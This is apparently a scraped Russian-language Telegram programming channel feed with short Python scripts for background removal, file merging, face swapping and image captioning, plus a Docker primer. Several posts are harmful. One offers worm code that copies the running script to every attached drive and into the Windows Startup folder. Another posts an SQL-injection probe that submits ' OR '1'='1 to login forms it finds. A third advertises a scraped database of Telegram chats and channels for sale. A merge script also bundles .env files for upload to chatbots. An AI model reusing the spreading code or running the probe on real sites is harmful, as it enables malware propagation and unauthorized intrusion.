Нашел нужные библиотеки, делюсь простым скриптом. Удаляет фон с вашей картинки:
from rembg import remove
from PIL import Image
input_path = 'img.jpeg'
output_path = 'img.png'
inp = Image.open(input_path)
output = remove(inp)
output.save(output_path)
Вот requirements:
Pillow
rembg
onnxruntime
Как по мне, работает довольно чисто.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍37❤9🔥8🥰2😍1🤨1💘1
Universal Video Downloader 1.05.rar
179.2 MB
Втыконул, что не перевыложил загрузчик видео, его же на Диске блокнули.
Это все еще старая версия, без фиксов. Будет время - поправлю и внесу улучшения, добавлю Twitch.
Это все еще старая версия, без фиксов. Будет время - поправлю и внесу улучшения, добавлю Twitch.
🔥28❤🔥6👍6❤3🥰1🤨1
Среди ночи подгон для вайб-кодеров 😍 Из разряда "почему нет".
🚀 Cоберет и подпишет комментарием все Ваши скрипты .py в директории в 1 файл, игнорируя .venv (виртуальное окружение). Все остальное - json, env - соберет в другой файл.
Чтобы легче было тоннами в DeepSuck и GPT грузить...
import os
def merge_files(directory, output_file, extensions, exclude_dirs=None):
if exclude_dirs is None:
exclude_dirs = ['.venv']
with open(output_file, 'w', encoding='utf-8') as outfile:
for root, dirs, files in os.walk(directory):
if any(exclude in root for exclude in exclude_dirs):
continue
for file in files:
if any(file.endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8') as infile:
outfile.write(f'# Содержимое файла: {filepath}\n')
outfile.write(infile.read())
outfile.write('\n\n')
except Exception as e:
print(f'Не удалось прочитать файл {filepath}: {e}')
if __name__ == "__main__":
directory_to_scan = r' ПОЛНЫЙ ПУТЬ К ВАШЕЙ ДИРЕКТОРИИ'
output_file_py = 'all_code.py'
merge_files(
directory=directory_to_scan,
output_file=output_file_py,
extensions=['.py']
)
print(f'Все .py файлы были собраны в {output_file_py}')
output_file_data = 'all_data_files.txt'
merge_files(
directory=directory_to_scan,
output_file=output_file_data,
extensions=['.json', '.env', '.css']
)
print(f'Все .json и .env файлы были собраны в {output_file_data}')
Чтобы легче было тоннами в DeepSuck и GPT грузить...
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23❤8🥰5👍4🤨2😁1💋1
👻 То же самое для фронт-ендеров:
import os
def merge_web_files(directory, output_file, extensions, exclude_dirs=None):
if exclude_dirs is None:
exclude_dirs = ['.venv', 'node_modules', '__pycache__', 'dist', 'build']
print(f"Начинаем сборку файлов с расширениями: {', '.join(extensions)}")
print(f"Сканируемая директория: {directory}")
print(f"Исключаемые директории (по подстроке в пути): {', '.join(exclude_dirs)}")
print("-" * 30)
count = 0
with open(output_file, 'w', encoding='utf-8') as outfile:
for root, dirs, files in os.walk(directory):
current_dir_path = os.path.abspath(root)
should_exclude = False
for exclude in exclude_dirs:
path_parts = set(root.replace(directory, '').split(os.sep))
if exclude in path_parts:
should_exclude = True
break
if should_exclude:
dirs[:] = []
continue
files.sort()
for file in files:
if any(file.lower().endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
relative_filepath = os.path.relpath(filepath, directory)
try:
with open(filepath, 'r', encoding='utf-8') as infile:
print(f" [+] Добавляем файл: {relative_filepath}")
outfile.write(f'# Содержимое файла: {relative_filepath.replace(os.sep, "/")}\n')
outfile.write(f'# {"-" * (len(relative_filepath) + 18)}\n\n')
outfile.write(infile.read())
outfile.write('\n\n# {"=" * 60}\n\n')
count += 1
except Exception as e:
print(f' [!] Не удалось прочитать файл {relative_filepath}: {e}')
print("-" * 30)
print(f"Сборка завершена. Всего файлов добавлено: {count}")
print(f"Результат сохранен в файл: {output_file}")
if __name__ == "__main__":
directory_to_scan = r'ПУТЬ К ПАПКЕ'
output_filename = 'combined_frontend_code.txt'
file_extensions = ['.html', '.css', '.js']
merge_web_files(
directory=directory_to_scan,
output_file=output_filename,
extensions=file_extensions
)
👏19👍5🔥5❤4🤨1
Сегодня ночью узнал об особенности Телеграм API - бот не может скидывать Вам в чат файл более 50 мб (а вы ему файл более 20 мб, если вдруг кому нужно...). Для Reels\Shorts формата это идеально, а вот для больших видео, все-таки лучше подойдет мое десктопное решение, которое таки придется доделать... Аудио-дорожку - качает, так что для скачивания треков тоже пойдет.
🚀Ссылка "ТЫК"
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤23👍12❤🔥2🔥2👏1🤨1
UPD:
Из функционала будет:
- добавим пресеты, чтобы их можно было сохранять/подгружать;
- добавим наложение своей звуковой дорожки;
- добавим режим с пресетами для залипалок.
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡31🔥8👍3🥰3❤1🤨1
import requests
import cv2
import os
from insightface.app import FaceAnalysis
from insightface.model_zoo import get_model
app = FaceAnalysis(name='buffalo_l')
app.prepare(ctx_id=0, det_size=(640, 640))
def download_model(url, model_path):
if not os.path.exists(model_path):
print(f"Загрузка модели с {url}...")
response = requests.get(url)
response.raise_for_status()
with open(model_path, 'wb') as file:
file.write(response.content)
print(f"Модель сохранена как {model_path}")
model_url = "https://huggingface.co/ezioruan/inswapper_128.onnx/resolve/main/inswapper_128.onnx?download=true"
model_path = "inswapper_128.onnx"
download_model(model_url, model_path)
swapper = get_model(model_path)
def swap_face_between_images(source_image_path, target_image_path, output_image_path):
source_img = cv2.imread(source_image_path)
if source_img is None:
print(f"Ошибка: Не удалось загрузить изображение-источник по пути: {source_image_path}")
return
target_img = cv2.imread(target_image_path)
if target_img is None:
print(f"Ошибка: Не удалось загрузить изображение-цель по пути: {target_image_path}")
return
print("Анализ лиц на изображении-источнике...")
source_faces = app.get(source_img)
if not source_faces:
print("Ошибка: Лица на изображении-источнике не найдены.")
return
source_face = source_faces[0]
print("Анализ лиц на изображении-цели...")
target_faces = app.get(target_img)
if not target_faces:
print("Ошибка: Лица на изображении-цели не найдены.")
return
target_face_to_replace = target_faces[0]
print("Выполнение замены лица...")
result_img = target_img.copy()
result_img = swapper.get(result_img, target_face_to_replace, source_face)
cv2.imwrite(output_image_path, result_img)
print(f"Изображение с замененным лицом сохранено как: {output_image_path}")
if __name__ == "__main__":
path_to_source_photo = 'rojers.jpg'
path_to_target_photo = 'stark.jpg'
output_filename = 'swapped_result.png'
if not os.path.exists(path_to_source_photo):
print(
f"Файл источника не найден: {path_to_source_photo}. Пожалуйста, создайте его или укажите правильный путь.")
elif not os.path.exists(path_to_target_photo):
print(f"Файл цели не найден: {path_to_target_photo}. Пожалуйста, создайте его или укажите правильный путь.")
else:
swap_face_between_images(path_to_source_photo, path_to_target_photo, output_filename)
requirements.txt:
opencv-python
onnxruntime
insightface
Чем лучше качество исходных фоток, тем лучше будет результат.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31🥰8❤4👍4🕊2❤🔥1🤔1🤨1
from transformers import BlipProcessor, BlipForConditionalGeneration
import torch
from PIL import Image
processor = BlipProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
model = BlipForConditionalGeneration.from_pretrained("Salesforce/blip-image-captioning-base")
image_path = "img_4.jpg"
image = Image.open(image_path)
inputs = processor(images=image, return_tensors="pt")
with torch.no_grad():
output = model.generate(**inputs)
description = processor.decode(output[0], skip_special_tokens=True)
print("Image description:", description)
requirements.txt:
transformers
torch
Pillow
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔16🔥6❤4👍4🍓2🤨1👀1💘1
Скачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥45👍9🔥6❤2👏1🤨1
Представьте, что ваше приложение – это сложный механизм, которому для работы нужны определенные детали и условия. Docker – это как универсальный контейнер для этого механизма. Вы упаковываете в него свое приложение со всеми его "деталями" (библиотеками, настройками), и оно будет работать одинаково везде: на вашем ноуте, у коллеги или на сервере в облаке.
1) "У меня работает!" – теперь это факт, а не отмазка. Если приложение работает в Docker-контейнере у вас, оно так же будет работать и у других. Конфликты окружений уходят в прошлое.
2) Изоляция. Каждое приложение живет в своем "домике"-контейнере, не мешая соседям. Можно запускать кучу всего на одной машине без головной боли.
3) Скорость и легкость. Запустить контейнер – дело секунд. Нужно больше мощности? Легко масштабируем, добавляя контейнеры. При этом они гораздо "легче" виртуальных машин, так как не тащат за собой целую операционку.
4) Простота для разработчиков. Быстро создаем, тестируем и не паримся о настройках окружения. Фокус на коде!
5) Воспроизводимость. Окружение в контейнере стабильно, что гарантирует одинаковую работу приложения сегодня и завтра.
1) Первым делом Docker нужно установить на ваш компьютер. Процесс немного отличается в зависимости от вашей операционной системы:
- Windows: Вам, скорее всего, понадобится Docker Desktop for Windows. Он использует WSL 2 (Windows Subsystem for Linux 2) для работы, так что убедитесь, что ваша система его поддерживает и он включен.
- macOS: Аналогично, есть Docker Desktop for Mac. Установка обычно довольно простая – скачиваете и устанавливаете, как обычное приложение.
- Linux: Тут вариантов больше. Обычно Docker Engine устанавливается через менеджер пакетов вашего дистрибутива (например, apt для Debian/Ubuntu или yum для Fedora/CentOS).
2) Разберем пару команд:
- запуск контейнера (нужно находиться в директории с проектом!)
docker run hello-world
- запуск веб-сервера Nginx, который будет доступен на 80 порту вашего компьютера:
docker run -d -p 80:80 nginx
- покажет уже запущенные контейнеры (на Windows и macOS также можно через интерфейс глянуть)
docker ps
- Начните с официальной документации Docker. Там есть отличные туториалы для новичков.
- Попробуйте запустить несколько готовых образов из Docker Hub (тот же nginx, redis, postgres или просто ubuntu, чтобы "поиграться" с командной строкой внутри контейнера).
- Не бойтесь экспериментировать! Контейнеры изолированы, так что сломать основную систему довольно сложно.
Надеюсь, рассказал что-то новое, длиннопост...
Please open Telegram to view this post
VIEW IN TELEGRAM
❤38👍13🔥6❤🔥1👏1🤨1💘1
Минутка саморекламы, не осуждайте.
🖥 Я пару дней парсил, парсил и на-парсил...
В общем, если кому-то интересно К ПОКУПКЕ, есть база РЕЛЕВАНТНЫХ:
- чатов, по всем странам ТГ-стата, разбитая на категории, гео, с количеством участников, ссылкой и названием. Буквально ВСЕ чаты ТГ-стата, где больше 200 людей - 61 тыс. записей;
- каналов, то же самое, точное количество - 315 тыс. записей, также все отфильтровано и разбито. Пишите через бота, если у кого-то есть желание приобрести.
В общем, если кому-то интересно К ПОКУПКЕ, есть база РЕЛЕВАНТНЫХ:
- чатов, по всем странам ТГ-стата, разбитая на категории, гео, с количеством участников, ссылкой и названием. Буквально ВСЕ чаты ТГ-стата, где больше 200 людей - 61 тыс. записей;
- каналов, то же самое, точное количество - 315 тыс. записей, также все отфильтровано и разбито. Пишите через бота, если у кого-то есть желание приобрести.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤17👍3🥰2🔥1🤨1
🥸 Простой код функции, если Вы хотите распространять свой запущенный скрипт на все носители, которые подключены/будут подключаться к ПК...
ef usbspreading():
# TODO:50 : Make this threaded.
bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
while True:
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print(drives)
for drive in drives:
if "C:\\" == drive:
copy2(__file__, bootfolder)
else:
copy2(__file__, drive)
time.sleep(3)
🔥29❤5👍5🥰2😁2🤨1
Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;)
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
import requests
from bs4 import BeautifulSoup
import logging
# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def find_login_forms(url):
"""
Ищет формы входа на указанном веб-сайте.
Args:
url (str): URL веб-сайта.
Returns:
list: Список URL-адресов форм входа.
"""
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
login_forms = []
for form in forms:
if 'login' in str(form).lower() or 'sign' in str(form).lower():
action = form.get('action')
if action:
login_forms.append(action)
return login_forms
except Exception as e:
logger.error(f"Ошибка при поиске форм входа на {url}: {e}")
return []
def check_sql_injection(url):
"""
Проверяет уязвимость SQL-инъекции на указанном URL.
Args:
url (str): URL для проверки.
Returns:
bool: True если уязвимость обнаружена, иначе False.
"""
payload = "' OR '1'='1"
test_url = f"{url}?username={payload}&password={payload}"
try:
response = requests.get(test_url)
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
logger.info(f"Возможная уязвимость SQL-инъекции на {url}")
return True
else:
logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}")
return False
except Exception as e:
logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}")
return False
if __name__ == "__main__":
target_url = "http://example.com/login"
login_forms = find_login_forms(target_url)
for form_action in login_forms:
full_url = f"http://example.com{form_action}"
vulnerable = check_sql_injection(full_url)
print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}")
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
🔥37👍6❤🔥4❤3🥰1👏1🤨1
Сегодня может дам Вам крутую игру на Pygame, которую не видели еще. Полноценный проект, даже поиграть можно будет.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥46👍13🔥6❤3🤨1
Cкачать код можно тут.
- Ввод-вывод данных;
- Условный оператор;
- Типы данных;
- Циклы for и while.
И, само собой, там будет гайд по установке Python, IDE. + мой софт для быстрой установки предложу скачать внутри бота... Работаю.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍42🥰8❤5🔥4🤨1🎅1
Эй, анимешники! 👋 Хочу поделиться просто бомбической находкой.
Если вы, как и я, любите смотреть старые (и не очень) тайтлы, но вам всегда не хватало сочной картинки, то это то, что доктор прописал. И не нужно ждать как с моим софтом - все делается в live (хоть и не так сочно и только на ПК).
Anime4K - это такая крутая штука с GitHub, набор алгоритмов, которые позволяют масштабировать аниме-видео до 4K в реальном времени! 🤯 Шарите? Не нужно ждать, пока файл перекодируется, не нужно забивать терабайты памяти — просто включаете видео, а Anime4K делает магию.
Если вы ещё не пробовали — очень советую заглянуть на GitHub и попробовать.
Касательно моих проектов для канала - стараюсь, но пока много работы (что славно, я не голодаю). Бот с курсом будет завтра, если я проснусь утром - то к обеду. Там будет не 4 модуля, а уже чуть больше. Скидывал другу на тест, говорит - удобно.
P.S. по железякам, люди пишут, что им хватало для комфортной работы 1070 и выше, или аналоги АМД. У меня на 2070S полет нормальный, с кайфом.
Если вы, как и я, любите смотреть старые (и не очень) тайтлы, но вам всегда не хватало сочной картинки, то это то, что доктор прописал. И не нужно ждать как с моим софтом - все делается в live (хоть и не так сочно и только на ПК).
Anime4K - это такая крутая штука с GitHub, набор алгоритмов, которые позволяют масштабировать аниме-видео до 4K в реальном времени! 🤯 Шарите? Не нужно ждать, пока файл перекодируется, не нужно забивать терабайты памяти — просто включаете видео, а Anime4K делает магию.
Если вы ещё не пробовали — очень советую заглянуть на GitHub и попробовать.
Касательно моих проектов для канала - стараюсь, но пока много работы (что славно, я не голодаю). Бот с курсом будет завтра, если я проснусь утром - то к обеду. Там будет не 4 модуля, а уже чуть больше. Скидывал другу на тест, говорит - удобно.
P.S. по железякам, люди пишут, что им хватало для комфортной работы 1070 и выше, или аналоги АМД. У меня на 2070S полет нормальный, с кайфом.
🔥45👍6❤4🥰2🤨1
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥71❤🔥5👍4❤2🥰1🤨1